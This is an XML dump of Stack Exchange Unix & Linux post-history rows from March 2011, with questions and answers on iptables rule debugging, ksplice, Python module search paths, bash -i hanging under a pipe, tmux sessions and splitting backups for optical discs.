  <row Id="24314" PostHistoryTypeId="2" PostId="10147" RevisionGUID="0f00d6ce-53e1-4db1-a900-7f11220e3094" CreationDate="2011-03-26T13:18:58.973" UserId="2180" Text="I just got a new dedicated server with CentOS and I'm trying to debug some network problems. In doing so, I found *over one thousand* iptables entries. Is this the default on a CentOS system? Is there some firewall package that might be guilty of doing that?" />
  <row Id="24315" PostHistoryTypeId="1" PostId="10147" RevisionGUID="0f00d6ce-53e1-4db1-a900-7f11220e3094" CreationDate="2011-03-26T13:18:58.973" UserId="2180" Text="1000 iptables entries on CentOS?" />
  <row Id="24316" PostHistoryTypeId="3" PostId="10147" RevisionGUID="0f00d6ce-53e1-4db1-a900-7f11220e3094" CreationDate="2011-03-26T13:18:58.973" UserId="2180" Text="écentosàéiptablesàéfirewallà" />
  <row Id="24317" PostHistoryTypeId="2" PostId="10148" RevisionGUID="055ccb5c-da84-44c2-b8af-2091df9d8833" CreationDate="2011-03-26T13:50:34.237" UserId="4518" Text="`ksplice` is an open source extension of the Linux kernel which allows system administrators to apply security patches to a running kernel without having to reboot the operating system. (From [Wikipedia](https://secure.wikimedia.org/wikipedia/en/wiki/Ksplice).)&#xD;&#xA;&#xD;&#xA;Is there a downside to using ksplice? Does it introduce any kind of instability? If not, why is it not included by default in more Linux distributions?" />
  <row Id="24318" PostHistoryTypeId="1" PostId="10148" RevisionGUID="055ccb5c-da84-44c2-b8af-2091df9d8833" CreationDate="2011-03-26T13:50:34.237" UserId="4518" Text="Is there a downside to ksplice?" />
  <row Id="24319" PostHistoryTypeId="3" PostId="10148" RevisionGUID="055ccb5c-da84-44c2-b8af-2091df9d8833" CreationDate="2011-03-26T13:50:34.237" UserId="4518" Text="ékernelàéupgradeàékspliceà" />
  <row Id="24320" PostHistoryTypeId="5" PostId="10142" RevisionGUID="77e5ec3a-a8cb-4cc0-b247-3a597aea86e8" CreationDate="2011-03-26T13:51:54.170" UserId="4671" Comment="Add .pth method" Text="(Please correct errors and omissions as necessary. Thanks.)&#xD;&#xA;&#xD;&#xA;First, a question and a comment. I don't use SUSE, so take this with a pinch of salt. Are the packages that install in /usr/lib/python2.6/site-packages official packages? If so, SUSE is broken, so that is not likely. If they are not official packages, you could either ask the packagers to use the standard paths, or, alternatively, you could&#xD;&#xA;submit a wishlist bug to SUSE asking them to support this additional path. This will save you and other people additional headaches.&#xD;&#xA;&#xD;&#xA;For the moment, you have the following possibilies, in order of descreasing scope:&#xD;&#xA;&#xD;&#xA; 1. Change the module search path for all users (method 1)&#xD;&#xA;&#xD;&#xA;    Change the module search path in the&#xD;&#xA;    Python installation.&#xD;&#xA;    &#xD;&#xA;    The default module search path is&#xD;&#xA;    hardwired into the binary. Add-on&#xD;&#xA;    paths can be configured at runtime,&#xD;&#xA;    for example in the site.py file.&#xD;&#xA;    For example, Debian uses&#xD;&#xA;    /usr/lib/python2.6/site.py (for the&#xD;&#xA;    default python 2.6 installation) to&#xD;&#xA;    do its site-specific configuration.&#xD;&#xA;    At the top of the file is written&#xD;&#xA;    &#xD;&#xA;        Append module search paths for third-party packages to sys.path.&#xD;&#xA;        &#xD;&#xA;        ****************************************************************&#xD;&#xA;        * This module is automatically imported during initialization. *&#xD;&#xA;        ****************************************************************&#xD;&#xA;        [...]&#xD;&#xA;        &#xD;&#xA;        This will append site-specific paths to the module search path.&#xD;&#xA;    &#xD;&#xA;    The Debian patch&#xD;&#xA;    debian/patches/site-locations.diff&#xD;&#xA;    says&#xD;&#xA;    &#xD;&#xA;    &gt; For Debian and derivatives, this&#xD;&#xA;    &gt; sys.path is augmented with directories&#xD;&#xA;    &gt; for packages distributed within the&#xD;&#xA;    &gt; distribution. Local addons go into&#xD;&#xA;    &gt; /usr/local/lib/python&lt;version&gt;/dist-packages,&#xD;&#xA;    &gt; Debian addons install into&#xD;&#xA;    &gt; /usr/{lib,share}/python&lt;version&gt;/dist-packages.&#xD;&#xA;    &gt; /usr/lib/python&lt;version&gt;/site-packages&#xD;&#xA;    &gt; is not used.&#xD;&#xA;    &#xD;&#xA;    The patch in question is&#xD;&#xA;    &#xD;&#xA;                        sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;Lib&quot;, &quot;site-packages&quot;))&#xD;&#xA;                     elif os.sep == '/':&#xD;&#xA;            +            sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;local/lib&quot;,&#xD;&#xA;            +                                        &quot;python&quot; + sys.version[:3],&#xD;&#xA;            +                                        &quot;dist-packages&quot;))&#xD;&#xA;                         sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;lib&quot;,&#xD;&#xA;                                                     &quot;python&quot; + sys.version[:3],&#xD;&#xA;            -                                        &quot;site-packages&quot;))&#xD;&#xA;            -            sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;lib&quot;, &quot;site-python&quot;))&#xD;&#xA;            +                                        &quot;dist-packages&quot;))&#xD;&#xA;            +            sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;lib&quot;, &quot;dist-python&quot;))&#xD;&#xA;                     else:&#xD;&#xA;                         sitedirs.append(prefix)&#xD;&#xA;                         sitedirs.append(os.path.join(prefix,&#xD;&#xA;        &quot;lib&quot;, &quot;site-packages&quot;))&#xD;&#xA;  &#xD;&#xA;    So you could modify the site.path in&#xD;&#xA;    your system package to produce a&#xD;&#xA;    modified module search path. You&#xD;&#xA;    probably don't want to this, though.&#xD;&#xA;    For one thing, you will have to&#xD;&#xA;    merge this in on every update of&#xD;&#xA;    your distribution's python package.&#xD;&#xA; &#xD;&#xA; 2. Change the module search path for&#xD;&#xA;    all users (method 2)&#xD;&#xA;&#xD;&#xA;    Add a file of the form something.pth&#xD;&#xA;    to a directory that is already in&#xD;&#xA;    the search path, which contains a&#xD;&#xA;    path, either relative or absolute.&#xD;&#xA;    Eg.&#xD;&#xA;    &#xD;&#xA;        /usr/local/lib/python2.6/dist-packages$ cat foo.pth &#xD;&#xA;        /home/faheem/dummypythonpath&#xD;&#xA;       &#xD;&#xA;    In another terminal do&#xD;&#xA;        &#xD;&#xA;        &gt;&gt;&gt; import sys&#xD;&#xA;        &gt;&gt;&gt; sys.path&#xD;&#xA;            [...,'/home/faheem/dummypythonpath',...,]&#xD;&#xA;&#xD;&#xA; 3. Change the module search path for&#xD;&#xA;    all users (method 3)&#xD;&#xA;    &#xD;&#xA;    The environment variable PYTHONPATH&#xD;&#xA;    is normally used to append to the&#xD;&#xA;    system path at user level. You can&#xD;&#xA;    put it in a file which will be&#xD;&#xA;    sourced by all users. Eg. in Debian&#xD;&#xA;    we have /etc/bash.bashrc, which says&#xD;&#xA;    at the top&#xD;&#xA;    &#xD;&#xA;        # System-wide .bashrc file for interactive bash(1) shells.&#xD;&#xA;        &#xD;&#xA;        # To enable the settings / commands in this file for login shells as well,&#xD;&#xA;        # this file has to be sourced in /etc/profile.&#xD;&#xA;    &#xD;&#xA;    So you could add or PYTHONPATH&#xD;&#xA;    there. You probably want it to be&#xD;&#xA;    sourced for both login and&#xD;&#xA;    interactive shells, so you'll want&#xD;&#xA;    to check on that. Unfortunately,&#xD;&#xA;    distributions are often flaky about&#xD;&#xA;    enabling this.&#xD;&#xA;&#xD;&#xA;    The paths in PYTHONPATH are added to the default list of &#xD;&#xA;    search paths in the system (which can be obtained for&#xD;&#xA;    example by sys.path - see below). Allowing for the&#xD;&#xA;    possibility that PYTHONPATH is set already,&#xD;&#xA;    just add desired additional directories to it, eg.&#xD;&#xA;&#xD;&#xA;        export PYTHONPATH=$PYTHONPATH:&quot;/home/username/lib/python2.6/dist-packages&quot;&#xD;&#xA;    &#xD;&#xA;    If you source the PYTHONPATH variable, and then check sys.path again, you will   &#xD;&#xA;    see the paths have been added. Note that the position in which the paths in   &#xD;&#xA;    PYTHONPATH are added to the pre-existing paths does not seem to be prescribed by  &#xD;&#xA;    the implementation.&#xD;&#xA;&#xD;&#xA; 4. Change the module search path per user.&#xD;&#xA;    &#xD;&#xA;    The usual way is to change&#xD;&#xA;    PYTHONPATH in the user's bashrc,&#xD;&#xA;    namely ~/.bashrc. Again, check that&#xD;&#xA;    it is sourced for both login and&#xD;&#xA;    interactive shells.&#xD;&#xA; &#xD;&#xA; 5. Change the module search path on a per script basis. This&#xD;&#xA;    is done by appending to sys.path,&#xD;&#xA;    namely&#xD;&#xA;    &#xD;&#xA;        import sys&#xD;&#xA;        sys.path.append(some_additional_path)&#xD;&#xA;    &#xD;&#xA;    This will only work for the script&#xD;&#xA;    that is importing this. This is&#xD;&#xA;    normally used, as far as I know, for&#xD;&#xA;    casual use, when importing modules&#xD;&#xA;    in nonstandard locations, like from&#xD;&#xA;    somewhere in a home directory.&#xD;&#xA;    &#xD;&#xA;See also Greg Ward on [Modifying Python's Search Path](http://docs.python.org/install/index.html#inst-search-path). This has a good discussion of the available alternatives.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24321" PostHistoryTypeId="6" PostId="10148" RevisionGUID="5793870c-52bc-4dd5-ac73-00ec9f676ac8" CreationDate="2011-03-26T14:00:17.550" UserId="885" Comment="edited tags" Text="élinuxàékernelàéupgradeàékspliceà" />
  <row Id="24322" PostHistoryTypeId="2" PostId="10149" RevisionGUID="6256feaf-9e32-4e15-8eaf-c93f844685c9" CreationDate="2011-03-26T14:11:54.983" UserId="6066" Text="(A disclaimer: I work for Ksplice.)&#xD;&#xA;&#xD;&#xA;Re: &quot;Is there a downside to using Ksplice?&quot; you may find the answer to a similar question over at ServerFault to be useful:&#xD;&#xA;[http://serverfault.com/questions/78406/is-ksplice-production-ready/][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/78406/is-ksplice-production-ready/" />
  <row Id="24323" PostHistoryTypeId="25" PostId="10148" RevisionGUID="32c07352-c2e1-4e54-92c7-9c53ce98ea52" CreationDate="2011-03-26T14:31:39.460" Comment="http://twitter.com/#!/StackUnix/status/51652538428162048" />
  <row Id="24324" PostHistoryTypeId="2" PostId="10150" RevisionGUID="b77cc331-246c-4296-ad76-b6dfd4b0d443" CreationDate="2011-03-26T15:41:15.257" UserId="2180" Text="I have a system that came with a firewall already in place. The firewall consists of over 1000 iptables rules. One of these rule is dropping packets I don't want dropped. (I know this because I did `iptables-save` followed by `iptables -F` and the application started working.) There are way too many rules to sort through manually. Can I do something to show me which rule is dropping the packets?" />
  <row Id="24325" PostHistoryTypeId="1" PostId="10150" RevisionGUID="b77cc331-246c-4296-ad76-b6dfd4b0d443" CreationDate="2011-03-26T15:41:15.257" UserId="2180" Text="Is there a way to find which iptables rule was responsible for dropping a packet?" />
  <row Id="24326" PostHistoryTypeId="3" PostId="10150" RevisionGUID="b77cc331-246c-4296-ad76-b6dfd4b0d443" CreationDate="2011-03-26T15:41:15.257" UserId="2180" Text="éiptablesàéfirewallà" />
  <row Id="24327" PostHistoryTypeId="2" PostId="10151" RevisionGUID="86326408-7324-43f2-af49-8aa70daebab8" CreationDate="2011-03-26T15:44:40.590" UserId="3852" Text="&gt; Is this the default on a CentOS&#xD;&#xA;&gt; system?&#xD;&#xA;&#xD;&#xA;No. The default one is below.&#xD;&#xA;&#xD;&#xA;&gt; Is there some firewall package that&#xD;&#xA;&gt; might be guilty of doing that?&#xD;&#xA;&#xD;&#xA;Probably. You don't say what the entries are but if they're banning CIDR blocks I'd guess your server has a firewall like [APF][1] or [CSF][2] that can subscribe to blacklist like [Spamhaus' DROP][3] and that is how your rules are being generated. Alternatively, there might be some cron job which does it all. If you do a `grep -rl iptables /etc/*` that will tell you all the files that mention iptables and hopefully track down what is generating your entries.&#xD;&#xA;&#xD;&#xA;Here's the default iptables from /etc/sysconfig/iptables:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # Firewall configuration written by system-config-securitylevel&#xD;&#xA;    # Manual customization of this file is not recommended.&#xD;&#xA;    *filter&#xD;&#xA;    :INPUT ACCEPT [0:0]&#xD;&#xA;    :FORWARD ACCEPT [0:0]&#xD;&#xA;    :OUTPUT ACCEPT [0:0]&#xD;&#xA;    :RH-Firewall-1-INPUT - [0:0]&#xD;&#xA;    -A INPUT -j RH-Firewall-1-INPUT&#xD;&#xA;    -A FORWARD -j RH-Firewall-1-INPUT&#xD;&#xA;    -A RH-Firewall-1-INPUT -i lo -j ACCEPT&#xD;&#xA;    -A RH-Firewall-1-INPUT -p icmp --icmp-type any -j ACCEPT&#xD;&#xA;    -A RH-Firewall-1-INPUT -p 50 -j ACCEPT&#xD;&#xA;    -A RH-Firewall-1-INPUT -p 51 -j ACCEPT&#xD;&#xA;    -A RH-Firewall-1-INPUT -p udp --dport 5353 -d 224.0.0.251 -j ACCEPT&#xD;&#xA;    -A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT&#xD;&#xA;    -A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT&#xD;&#xA;    -A RH-Firewall-1-INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT&#xD;&#xA;    -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT&#xD;&#xA;    -A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibited&#xD;&#xA;    COMMIT&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rfxn.com/projects/advanced-policy-firewall/&#xD;&#xA;  [2]: http://www.configserver.com/cp/csf.html&#xD;&#xA;  [3]: http://www.spamhaus.org/drop/" />
  <row Id="24328" PostHistoryTypeId="5" PostId="9531" RevisionGUID="a8c126f7-9ed0-412d-9bad-cc7ecf07d9f0" CreationDate="2011-03-26T16:13:21.320" UserId="4949" Comment="Whoops, corrected functions." Text="`find ./ -name &quot;$1&quot; -exec grep -l &quot;$2&quot; {} \;` should do the trick.  " />
  <row Id="24329" PostHistoryTypeId="2" PostId="10152" RevisionGUID="602acb9c-d190-4325-86f6-abb0d3ebfb6d" CreationDate="2011-03-26T17:18:25.887" UserId="4896" Text="This happens on every distro I've tried:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;$ cat | bash -i&#xD;&#xA;bash-3.2$ ls&#xD;&#xA;foo bar&#xD;&#xA;bash-3.2$&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;And now the session is hung. Ie, you get **one** command and then you pretty much have to close the terminal window. SIGTERM (aka ^C) is caught by bash but it won't get you back to a working shell.&#xD;&#xA;&#xD;&#xA;I'm guessing it has something to do with the `-i` causing bash to fight with cat for control of the tty, but I can't find anything definitive. Can anyone explain what's going on? And how do I automate input to a program that's running `execlp(&quot;/bin/bash&quot;, &quot;bash&quot;, &quot;-i&quot;)` without hanging? Do I have to write an `expect`-like program that handles tty vagaries?&#xD;&#xA;" />
  <row Id="24330" PostHistoryTypeId="1" PostId="10152" RevisionGUID="602acb9c-d190-4325-86f6-abb0d3ebfb6d" CreationDate="2011-03-26T17:18:25.887" UserId="4896" Text="bash -i behavior and &quot;why is my terminal hung?&quot;" />
  <row Id="24331" PostHistoryTypeId="3" PostId="10152" RevisionGUID="602acb9c-d190-4325-86f6-abb0d3ebfb6d" CreationDate="2011-03-26T17:18:25.887" UserId="4896" Text="ébashàéttyà" />
  <row Id="24332" PostHistoryTypeId="2" PostId="10153" RevisionGUID="6101cdcb-1a42-430a-9489-4a51ed59f99d" CreationDate="2011-03-26T17:29:41.663" UserId="1987" Text="Run `iptables -L -v -n` to see the packet and byte counters for every table and for every rule." />
  <row Id="24333" PostHistoryTypeId="25" PostId="10150" RevisionGUID="42a796eb-9a0c-4a72-a3ef-f1e9d7309b9a" CreationDate="2011-03-26T17:31:40.413" Comment="http://twitter.com/#!/StackUnix/status/51697839885139968" />
  <row Id="24334" PostHistoryTypeId="2" PostId="10154" RevisionGUID="1427035c-bdb4-45c9-b7e1-40e0af11401f" CreationDate="2011-03-26T17:35:37.133" UserId="1987" Text="`fold -bw80 /dev/vcs1`&#xD;&#xA;&#xD;&#xA;Substitute 80 for your actual width. This doesn't support attributes, the `/dev/vcsa*` include attributes." />
  <row Id="24335" PostHistoryTypeId="2" PostId="10155" RevisionGUID="37ed4495-eef3-4b85-abfa-e2d9d7e93018" CreationDate="2011-03-26T17:48:22.107" UserId="5325" Text="The short answer:  yes, you're going to have to use Expect.&#xD;&#xA;&#xD;&#xA;As for *why* it's failing:  based on its behavior, `bash -i` turns on `readline` (even with `--noediting`), which plays rather badly with pipes.  It also appears to be setting terminal modes (including non-blocking mode) via `stdout` instead of `stdin`, which means you lose the expected behavior of most control characters.  (It is not, however, reading the tty directly.)&#xD;&#xA;&#xD;&#xA;Side note:  `^C` sends `SIGINT`, not `SIGTERM`.  Both are, however, trapped in interactive (`-i`) mode; `SIGHUP` works to kill it." />
  <row Id="24336" PostHistoryTypeId="5" PostId="9946" RevisionGUID="6f707d0f-97e1-457c-a8cf-b1654dc72d54" CreationDate="2011-03-26T17:57:30.437" UserId="195" Comment="use capitalization to call out the acronym source" Text="Linux initially boots with a ramdisk (called an `initrd`, for &quot;INITial RamDisk&quot;) as `/`.  This disk has just enough on it to be able to find the real root partition (including any driver and filesystem modules required).  It mounts the root partition onto a temporary mount point on the `initrd`, then invokes `pivot_root(8)` to swap the root and temporary mount points, leaving the `initrd` in a position to be `umount`ed and the actual root filesystem on `/`." />
  <row Id="24337" PostHistoryTypeId="24" PostId="9946" RevisionGUID="6f707d0f-97e1-457c-a8cf-b1654dc72d54" CreationDate="2011-03-26T17:57:30.437" Comment="Proposed by 195 approved by 73 edit id of 234" />
  <row Id="24338" PostHistoryTypeId="2" PostId="10156" RevisionGUID="42a2d2bb-8ac6-41ca-a22e-8829f73145d6" CreationDate="2011-03-26T18:16:56.007" UserId="4520" Text="You could add a TRACE rule early in the chain to log every rule that the packet traverses. &#xD;&#xA;&#xD;&#xA;I would consider using `iptables -L -v -n | less` to let you search the rules. I would look port; address; and interface rules that apply.  Given that you have so many rules you are likely running a mostly closed firewall, and are missing a permit rule for the traffic.  &#xD;&#xA;&#xD;&#xA;How is the firewall built?  It may be easier to look at the builder rules than the built rules." />
  <row Id="24339" PostHistoryTypeId="2" PostId="10157" RevisionGUID="9516ef84-0b75-4119-b976-4d967e45cc7f" CreationDate="2011-03-26T19:08:35.477" UserId="5859" Text="I ended up creating a zero file with dd, making a UDF filesystem on that with mkudffs, loop-mounting it, populating it, and then writing the UDF image with growisofs -Z /dev/dvd=foo.udf. Whether that's a best practice, I can't say, but it's a bit roundabout. On the other hand it does work.&#xD;&#xA;&#xD;&#xA;Packet writing led to much sadness and doesn't seem to work on DVD+R, which I also want to write using the same process." />
  <row Id="24340" PostHistoryTypeId="2" PostId="10158" RevisionGUID="7ea7a234-185f-4813-8729-0cd504369e61" CreationDate="2011-03-26T19:14:53.663" UserId="5859" Text="I have a directory tree that I would like to back up to optical disks. Unfortunately, it exceeds the size of any one disk (it's about 60GB). I am looking for a script that would split this tree into appropriately sized chunks with hard links or whatnot (leaving the original untouched). I could then feed these bite-size trees into the backup process (add PAR2 redundancy, etc.).&#xD;&#xA;&#xD;&#xA;It's not a fancy script, but it seems like it might have already been done. Suggestions?&#xD;&#xA;&#xD;&#xA;(Spanning and writing in one step is a no-go because I want to do more stuff before the files get burned.)" />
  <row Id="24341" PostHistoryTypeId="1" PostId="10158" RevisionGUID="7ea7a234-185f-4813-8729-0cd504369e61" CreationDate="2011-03-26T19:14:53.663" UserId="5859" Text="Splitting large directory tree into specified-size chunks?" />
  <row Id="24342" PostHistoryTypeId="3" PostId="10158" RevisionGUID="7ea7a234-185f-4813-8729-0cd504369e61" CreationDate="2011-03-26T19:14:53.663" UserId="5859" Text="éburningà" />
  <row Id="24343" PostHistoryTypeId="2" PostId="10159" RevisionGUID="6a8004fc-2b62-40d5-a4ff-47508184b520" CreationDate="2011-03-26T20:14:22.710" UserId="6071" Text="Since `iptables -L -v -n` has counters you could do the following.&#xD;&#xA;&#xD;&#xA;    iptables -L -v -n &gt; Sample1&#xD;&#xA;    #Cause the packet that you suspect is being dropped by iptables&#xD;&#xA;    iptables -L -v -n &gt; Sample2&#xD;&#xA;    diff Sample1 Sample2&#xD;&#xA;&#xD;&#xA;This way you will see only the rules that incremented." />
  <row Id="24344" PostHistoryTypeId="25" PostId="10158" RevisionGUID="a93a7c8e-8f6c-4cf6-aecb-854fe6c3aabe" CreationDate="2011-03-26T20:31:40.337" Comment="http://twitter.com/#!/StackUnix/status/51743138255085568" />
  <row Id="24345" PostHistoryTypeId="2" PostId="10160" RevisionGUID="1db65cba-10fa-4c2f-ad96-adf27bf60e1e" CreationDate="2011-03-26T20:40:30.843" UserId="4949" Text="The `rar` archiver can be instructed to automatically split the archive it creates up into chunks of a specific size with the `-vsize` flag.&#xD;&#xA;&#xD;&#xA;Archiving that directory tree named `foo` into chunks of, say, 500 megabytes apiece you'd specify  &#xD;&#xA;`rar a backup.rar -v500m foo/ `" />
  <row Id="24346" PostHistoryTypeId="2" PostId="10161" RevisionGUID="272e9193-5508-485d-bbf6-0ca5e2b02bf3" CreationDate="2011-03-26T21:59:25.190" UserId="6072" Text="Drench raises an interesting point - the default behavior of connecting twice to the same session is different in tmux. However, if you want to attach twice and have an independent view of the windows in that session - start tmux with&#xD;&#xA;&#xD;&#xA;    tmux new-session -t &lt;session name&gt;&#xD;&#xA;&#xD;&#xA;That will create a new session for you, and attach the windows from the already existing session. If you didn't name your first session, you can add one with 'rename-session'. " />
  <row Id="24347" PostHistoryTypeId="25" PostId="10147" RevisionGUID="0be0e863-05fe-4a34-8826-7d93273018eb" CreationDate="2011-03-26T23:31:39.807" Comment="http://twitter.com/#!/StackUnix/status/51788434653724672" />
  <row Id="24348" PostHistoryTypeId="25" PostId="10145" RevisionGUID="5ae8eaf1-53c7-42e2-88b3-a7d3f58e3fde" CreationDate="2011-03-27T02:31:40.157" Comment="http://twitter.com/#!/StackUnix/status/51833734944653312" />
  <row Id="24349" PostHistoryTypeId="2" PostId="10162" RevisionGUID="49256563-b922-4fc2-b10b-4459f7ab8584" CreationDate="2011-03-27T02:50:19.877" UserId="5685" Text="Technically it's very sound, I think that the fact distributions do provide this method of patching yet is:&#xD;&#xA; &#xD;&#xA; - It does not integrate with the existing update methods (packaging wise)&#xD;&#xA;&#xD;&#xA; - It adds to the burden of the distro to provide another method of upgrading." />
  <row Id="24350" PostHistoryTypeId="2" PostId="10163" RevisionGUID="b309b9d3-36d7-492c-aa49-1fa53414980a" CreationDate="2011-03-27T03:56:09.607" UserId="2932" Text="Yes, there [exists][1] some information. The [driver][2] for the e-ink display is broadsheetfb. However, attempting to do it is probably non-trivial since this is not something that is commonly done.&#xD;&#xA;&#xD;&#xA;That said, **good luck** and if you succeed in this, please post details!&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxjournal.com/magazine/fun-e-ink-x-and-gumstix&#xD;&#xA;  [2]: http://tomoyo.sourceforge.jp/cgi-bin/lxr/source/include/video/broadsheetfb.h" />
  <row Id="24351" PostHistoryTypeId="5" PostId="586" RevisionGUID="d1d7f3ef-d832-4ec8-bfd3-0504d428a8fe" CreationDate="2011-03-27T05:28:01.270" UserId="502" Comment="Linkifying the website mention" Text="From [their website][1]:&#xD;&#xA;&#xD;&#xA;&gt; * How is tmux different from GNU screen? What else does it offer?&#xD;&#xA;&gt;&#xD;&#xA;&gt; tmux offers several advantages over screen:&#xD;&#xA;&gt;&#xD;&#xA;&gt; - a clearly-defined client-server model: windows are independent entities which&#xD;&#xA;&gt;  may be attached simultaneously to multiple sessions and viewed from multiple&#xD;&#xA;  clients (terminals), as well as moved freely between sessions within the same&#xD;&#xA;  tmux server;&#xD;&#xA;- a consistent, well-documented command interface, with the same syntax&#xD;&#xA;  whether used interactively, as a key binding, or from the shell;&#xD;&#xA;- easily scriptable from the shell;&#xD;&#xA;- multiple paste buffers;&#xD;&#xA;- choice of vi or emacs key layouts;&#xD;&#xA;- an option to limit the window size;&#xD;&#xA;- a more usable status line syntax, with the ability to display the first line&#xD;&#xA;  of output of a specific command;&#xD;&#xA;- a cleaner, modern, easily extended, BSD-licensed codebase.&#xD;&#xA;&#xD;&#xA;&gt;There are still a few features screen includes that tmux omits:&#xD;&#xA;&#xD;&#xA;&gt;- builtin serial and telnet support; this is bloat and is unlikely to be added&#xD;&#xA;  to tmux;&#xD;&#xA;- wider platform support, for example IRIX and HP-UX, and for odd terminals.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tmux.sourceforge.net/" />
  <row Id="24352" PostHistoryTypeId="24" PostId="586" RevisionGUID="d1d7f3ef-d832-4ec8-bfd3-0504d428a8fe" CreationDate="2011-03-27T05:28:01.270" Comment="Proposed by 502 approved by 73 edit id of 235" />
  <row Id="24353" PostHistoryTypeId="25" PostId="10081" RevisionGUID="a62c5189-4a01-4f31-986c-05b762508ef5" CreationDate="2011-03-27T05:31:40.470" Comment="http://twitter.com/#!/StackUnix/status/51879034895867904" />
  <row Id="24354" PostHistoryTypeId="2" PostId="10164" RevisionGUID="d1cb02b4-4988-4ce9-ad8c-d28ebcd954d8" CreationDate="2011-03-27T07:11:53.987" UserId="2567" Text="How about to keep it simple and run the &quot;batch&quot; file on the other computer?&#xD;&#xA;&#xD;&#xA;1. scp batch-file user@pc&#xD;&#xA;2. ssh user@pc batch-file&#xD;&#xA;3. ssh user@pc rm batch-file&#xD;&#xA;&#xD;&#xA;And the batch file would be a normal shell script so the syntax is well known. " />
  <row Id="24355" PostHistoryTypeId="25" PostId="10152" RevisionGUID="8df44a67-86ef-416a-95b1-18e524e94535" CreationDate="2011-03-27T08:31:39.877" Comment="http://twitter.com/#!/StackUnix/status/51924330480807936" />
  <row Id="24356" PostHistoryTypeId="2" PostId="10165" RevisionGUID="ee61f82d-2d93-496c-9898-91f24f03297e" CreationDate="2011-03-27T08:43:19.463" UserId="6055" Text="Using Nginx as a reverse proxy.&#xD;&#xA;&#xD;&#xA;I wish to ensure that only valid URLs are sent through to back end servers.&#xD;&#xA;&#xD;&#xA;What's the best way to handle this?" />
  <row Id="24357" PostHistoryTypeId="1" PostId="10165" RevisionGUID="ee61f82d-2d93-496c-9898-91f24f03297e" CreationDate="2011-03-27T08:43:19.463" UserId="6055" Text="Nginx reverse proxy - how to whitelist / sanitize URL queries?" />
  <row Id="24358" PostHistoryTypeId="3" PostId="10165" RevisionGUID="ee61f82d-2d93-496c-9898-91f24f03297e" CreationDate="2011-03-27T08:43:19.463" UserId="6055" Text="éproxyà" />
  <row Id="24359" PostHistoryTypeId="5" PostId="10019" RevisionGUID="10b25065-0fc6-484c-89ce-5ace8085738d" CreationDate="2011-03-27T10:05:58.173" UserId="4523" Comment="edited body" Text="`mplayer dvd://1 -dvd-device /path/to/copy_on_hdd/ -dumpaudio -dumpfile audio.ac3`" />
  <row Id="24360" PostHistoryTypeId="2" PostId="10166" RevisionGUID="a9d573f4-6543-4de2-ac4b-ecca00f4a592" CreationDate="2011-03-27T11:04:34.750" UserId="1733" Text="It seems you can't do as much with command line than with the ncurses interface, as yast modules have to individually implement support for CLI.&#xD;&#xA;&#xD;&#xA;According to openSUSE 11.1 Reference Guide:&#xD;&#xA;&gt; To use YaST functionality in scripts,&#xD;&#xA;&gt; YaST provides command line support for&#xD;&#xA;&gt; individual modules. Not all modules&#xD;&#xA;&gt; have a command line support. To&#xD;&#xA;&gt; display the available options of a&#xD;&#xA;&gt; module, enter:&#xD;&#xA;&gt; &#xD;&#xA;&gt; `yast &lt;module_name&gt; help`&#xD;&#xA;&gt; &#xD;&#xA;&gt; If a module does not provide command&#xD;&#xA;&gt; line support, the module is started in&#xD;&#xA;&gt; text mode and the following message&#xD;&#xA;&gt; appears:&#xD;&#xA;&gt; &#xD;&#xA;&gt; `This YaST module does not support the command line interface.`&#xD;&#xA;&#xD;&#xA;(use `yast --list` to list modules)" />
  <row Id="24361" PostHistoryTypeId="25" PostId="10165" RevisionGUID="1af35754-3209-4ad8-bb5b-6095abf1818b" CreationDate="2011-03-27T11:31:40.163" Comment="http://twitter.com/#!/StackUnix/status/51969630134222848" />
  <row Id="24362" PostHistoryTypeId="2" PostId="10167" RevisionGUID="c788d0ab-d159-4650-823e-742d47f8bc05" CreationDate="2011-03-27T11:36:09.740" UserId="6080" Text="Let's imagine we have a file:&#xD;&#xA;&#xD;&#xA;    foo bar&#xD;&#xA;    foo1 bar1&#xD;&#xA;&#xD;&#xA;I want to cut every second word in every line, so I want file to look like this:&#xD;&#xA;&#xD;&#xA;    foo&#xD;&#xA;    foo1&#xD;&#xA;&#xD;&#xA;I am trying to use `cut -d ' ' -f -1` but what I get is:&#xD;&#xA;&#xD;&#xA;    foo foo1&#xD;&#xA;&#xD;&#xA;How can i preserve line endings in the file?" />
  <row Id="24363" PostHistoryTypeId="1" PostId="10167" RevisionGUID="c788d0ab-d159-4650-823e-742d47f8bc05" CreationDate="2011-03-27T11:36:09.740" UserId="6080" Text="Keep newlines in output of cut" />
  <row Id="24364" PostHistoryTypeId="3" PostId="10167" RevisionGUID="c788d0ab-d159-4650-823e-742d47f8bc05" CreationDate="2011-03-27T11:36:09.740" UserId="6080" Text="ébashàétextöprocessingàécutà" />
